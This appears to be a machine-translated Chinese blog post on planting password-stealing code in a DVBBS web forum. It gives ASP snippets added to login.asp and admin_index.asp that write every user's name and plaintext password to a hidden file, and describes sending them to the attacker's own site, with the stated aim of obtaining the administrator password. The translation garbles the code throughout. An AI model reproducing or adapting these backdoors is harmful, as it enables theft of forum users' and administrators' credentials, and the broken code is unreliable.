Correction of the text on "User Password"

xiaoxiao2021-03-05  21

Originally, I want to get its password in front of it verified, so I add Code: Dim dbpath, RSTMP, STR, RS, CON SET Con = Server.createObject ("AdoDb.Connection") dbpath = after function DVBBS_CHKLOGIN Server.mappath ("eXample.mdb") con?open "driver = {Microsoft Access Driver (* .mdb)}; dbq =" & dbpath set = server.createObject ("adoDb.recordset") username = request.form ("Username") password = request.form ("password") str = "INSERT INTO User (username, password) V Alues ('" & username & ",'" & password & ")" con.execute STR)

This sentence is not very clear, I have been testing and found should be in Function Dvbbs_Chklogin. . . Insert the above code in the middle of the end function, but the above code is written in the middle, and when debugging is always wrong, the most obvious "V Alues" is also written separately. I adjusted the code, as follows: DIM DBPATH, RSTMP, STR, RS, Conset Con = Server.createObject ("AdoDb.Connection" dbpath = server.mappath ("bbs.mdb") con. lriver = { Microsoft Access Driver (* .mdb)}; dbq = "& DBPathset rstmp = server.createobject (" adodb.recordset ") username = Request.form (" username ") password = Request.form (" password ") str =" insert INTO USER (Username, Password) Values ​​('"& username &",' "& password &") "con.execute (str)

Write a TXT !! Today, where to see below: We know before, I want to enter the background of DVBBS, you want the administrator's password, which is like this: Old means: Modify admin_index.asp to get the plain text DVBBS background password in the "username = trim (replace (request (" username ") line behind Dim fsoObject Dim tsObject Set fsoObject = Server.CreateObject (" Scripting.FileSystemObject ") set tsObject = fsoObject.CreateTextFile (Server.MapPath (" rain.txt " )) TSOBJECT.WRITE CSTR (Request ("password")) set fsoobject = Nothing set tsobject = Nothing As long as the administrator logs in the background, it generates rain.txt, which records the mutual password. This method has a disadvantage. Need FileSystemObject support, that is, FSO is needed, which is useless for hosts without FileSystemObject.

New Measures:

Method 1: Under Login.asp: On Error ResMe Next Dim Rain Set LP = Server.createObject ("AdoDb.Stream") rain.open rain.type = 2 rain.charset = "GB2312" Rain.LoadFromFile Server.mappath ("918.asp") rain.position = lp.size rain.writetext now & request ("Username") & "Text:" & Request ("Password") & chr (10) rain.savetofile server.mappath ("918 .asp "), 2 rain.close set rain = Nothing This 918.asp will get all the login password, time, and name. As for admin_index.asp, you can also add only administrators here. Method 2: If you have your own website: establish a directory 918X, build an empty 918.asp and Rain.asp with the following code:

Insert a sentence in login.asp: response.write "" -------- All landing people will send the names and passwords to your 918.asp, this call AdoDb.Stream, almost the machine Yes, so the success rate is higher.

转载请注明原文地址:https://www.9cbs.com/read-32353.html

New Post(0)